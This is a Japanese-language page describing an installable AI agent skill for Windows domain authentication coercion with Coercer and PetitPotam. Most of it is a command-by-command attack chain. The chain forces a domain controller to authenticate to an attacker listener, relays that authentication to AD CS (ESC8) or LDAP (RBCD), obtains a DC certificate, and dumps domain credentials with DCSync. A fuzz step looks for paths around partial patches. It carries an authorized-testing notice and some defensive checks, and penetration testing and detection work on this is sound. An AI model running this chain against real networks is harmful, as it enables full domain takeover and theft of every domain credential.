coercing-authentication-with-coercer-petitpotam について
認可済みのWindowsドメインセキュリティテスト向けスキルです。CoercerとPetitPotamによるRPCの検出・認証誘発を説明し、NTLMリレー対策の検証も扱います。
主な機能
- 01認証誘発可能なRPCメソッドのスキャン
- 02複数プロトコルでのマシン認証誘発
- 03パス変化のファジング
- 04リレーツールによるリレーチェーンの検証
- 05対象メソッドと緩和策の記録
活用シーン
- 01ドメインコントローラーのパッチ状況確認
- 02AD CSのリレー防御のテスト
- 03LDAPまたはSMBリレー向けの認証誘発
- 04認証強制検知用テレメトリーの生成
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill coercing-authentication-with-coercer-petitpotamインストール後、Claude Code で/coercing-authentication-with-coercer-petitpotamを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
Coercer と PetitPotam による認証の強制
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的でのみ使用してください。認証の強制を NTLM リレーと組み合わせると、ドメインが侵害される可能性があります。ご自身が所有するシステム、またはテストの明示的な書面による許可を得たシステムに対してのみ使用してください。許可のない使用は違法です。
概要
多くの Windows RPC インターフェイスには、UNC パスを受け取り、受信側のサーバーがマシンアカウントを使ってそのパスに認証するメソッドが公開されています。これらのインターフェイスにアクセスできる攻撃者は、標的(多くの場合、ドメインコントローラー)に、攻撃者が制御するホストへの認証を強制できます。これ単独では「認証の強制」ですが、NTLM リレーと組み合わせると、強制されたマシンの資格情報が、署名/EPA を適用していないサービスに中継されます。最もよく知られた例は AD CS Web Enrollment(ESC8)で、これによりドメインコントローラーの証明書を取得し、最終的にドメインを侵害できます。
PetitPotam(Gilles Lionel / topotam)は、MS-EFSR(Encrypting File System Remote Protocol)の EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv メソッドを悪用します。Coercer(p0dalirius)はこの手法を一般化したものです。複数のプロトコルにまたがる 12 種類のメソッドを通じて、Windows サーバーに任意のマシンへの認証を自動的に強制する Python ツールです。対象となるプロトコルには、MS-EFSR(PetitPotam)、MS-RPRN(PrinterBug/SpoolSample)、MS-DFSNM(DFSCoerce)、MS-FSRVP(ShadowCoerce)、MS-EVEN などがあります。Coercer には 3 つのモードがあります。scan(到達可能、または認証を強制できる RPC メソッドを調査する)、coerce(認証をトリガーする)、fuzz(パスのバリエーションを調査する)です。出典:p0dalirius/Coercer、topotam/PetitPotam、The Hacker Recipes — 強制認証。
使用する場面
- DC にリレーへの認証を強制して ESC8/ESC11 の攻撃チェーンを完了させる場合
- NTLM リレーを LDAP(RBCD)または SMB に行うため、マシン認証をトリガーする場合
- リレー先は特定されているものの、自然な形でのインバウンド認証が発生していない場合
- 検知エンジニアリングで、ブルーチームのチューニング用に認証強制のテレメトリを生成する場合
- DC/サーバーにパッチが適用され、リレー緩和策(署名/EPA)が機能することを検証する場合
前提条件
- 認証強制および NTLM リレー手法を含む、許可されたスコープ
- 有効な(多くの場合、低い権限の)ドメイン資格情報。一部のメソッドは、パッチが適用されていないホストに対して認証なしで動作します
- 到達可能なホスト上で稼働するリレーリスナー(Certipy
relayまたは Impacketntlmrelayx) - 対象の RPC エンドポイント(135 + 動的ポート、445)へのネットワーク到達性
- Python 3.8 以降を備えた Linux 攻撃ホスト。ツールをインストールします。
# Coercer pipx install coercer # or: sudo python3 -m pip install coercer coercer --help # PetitPotam (source) git clone https://github.com/topotam/PetitPotam # Impacket (provides ntlmrelayx, dFSCoerce etc.) pipx install impacket
目標
- 対象が公開している RPC 認証強制メソッドを特定する(scan モード)
- 脆弱なサービス(例:AD CS Web Enrollment)を転送先とする NTLM リレーを起動する
- 対象のマシンアカウントにリレーへの認証を強制する
- 中継された成果物を取得する(ESC8 経由の DC 証明書、LDAP 経由の RBCD 書き込み)
- 認証を強制できるメソッドを記録し、パッチ適用/緩和策を推奨する
MITRE ATT&CK マッピング
| ID | 手法 | このスキルでの適用 |
|---|---|---|
| T1187 | 認証の強制 | MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC メソッドを使用して、対象のマシンアカウントに攻撃者が制御するホストへの認証を強制する |
連鎖する手法:T1557.001(LLMNR/NBT-NS ポイズニングと SMB/NTLM リレー)、および AD CS へのリレー時の T1649(認証証明書の窃取または偽造)。
ワークフロー
ステップ 1:対象で認証を強制できるメソッドをスキャンする
Coercer の scan モードを使って、対象上で利用できる RPC メソッドのうち、悪用可能なものを列挙します。これにより、攻撃全体を実行することなく、最適な認証強制ベクトルを特定できます。
coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
-t は対象(例:DC)、-l は強制された認証を受け取るリスナーの IP です。
ステップ 2:リレーを起動する(ESC8 の例)
別のターミナルで、AD CS の Web 登録を対象とするリレーを起動します。これにより、リレーされた DC 認証から DomainController 証明書が取得されます。
# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
ステップ 3:Coercer で認証を強制する
対象のマシンアカウントに、リレー/リスナーへの認証を強制します。--always-continue を指定すると、成功するまであらゆる方法を試します。
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --always-continue
より静かに、特定の方法を 1 つだけ使用するには、方法名で絞り込みます。
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
ステップ 4:PetitPotam で直接認証を強制する(MS-EFSR)
PetitPotam は標準的な MS-EFSR による認証強制の手法であり、パッチが適用されていない DC に対して認証なしで機能します。構文:petitpotam.py <listener> <target>。
# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10
ステップ 5:リレーの結果を使用する
ESC8 の場合、リレーによって DC 証明書(dc.pfx)が書き出されます。DC として認証し、DCSync を実行します。
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/[email protected]' -just-dc
ステップ 6:RBCD 用に LDAP へリレーする(代替チェーン)
ESC8 を利用できない場合は、強制した認証を LDAP にリレーして、リソースベースの制約付き委任を設定します。
# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
--escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3
ステップ 7:パッチ未適用パスを見つけるためのファズモード(調査)
ファズモードでは UNC パスを変化させ、部分的なパッチを回避する認証強制パスを見つけます。
coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
ツールとリソース
| リソース | 目的 | リンク |
|---|---|---|
| Coercer | 複数の手法による認証強制の自動化(12 種類の手法) | https://github.com/p0dalirius/Coercer |
| PetitPotam | MS-EFSR による認証強制 | https://github.com/topotam/PetitPotam |
| Certipy relay | ESC8/ESC11 のリレー先 | https://github.com/ly4k/Certipy |
| Impacket ntlmrelayx | AD CS/LDAP/SMB へのリレー | https://github.com/fortra/impacket |
| The Hacker Recipes | 認証強制とリレーの理論 | https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications |
認証強制手法のリファレンス
| 手法 | プロトコル | 注記 |
|---|---|---|
| PetitPotam | MS-EFSR | EfsRpcOpenFileRaw/EfsRpcEncryptFileSrv。ESC8 の標準的なトリガー |
| PrinterBug / SpoolSample | MS-RPRN | RpcRemoteFindFirstPrinterChangeNotificationEx。Spooler が必要 |
| DFSCoerce | MS-DFSNM | NetrDfsAddStdRoot。PetitPotam のパッチ適用後も動作することがよくあります |
| ShadowCoerce | MS-FSRVP | IsPathSupported/IsPathShadowCopied |
| その他(Coercer) | MS-EVEN など | 全 12 種類の手法。scan を使って列挙します |
検証基準
- Coercer のスキャンで、対象上で到達可能な認証強制手法が少なくとも 1 つ特定された
- 脆弱性が確認されたサービスを対象に、リレーリスナーが起動された
- 対象のマシンアカウントが、リスナーへの認証を正常に強制された
- リレーされた成果物(DC 証明書、RBCD の書き込み、または SMB の exec)を取得した
- (ESC8)DC 証明書を使って認証し、DCSync を実証した
- 認証強制が可能な手法について、影響を受けるホストと推奨パッチを記録した
- リレーの緩和策(SMB/LDAP 署名、EPA、RPC フィルター)を検証、または未対応として記録した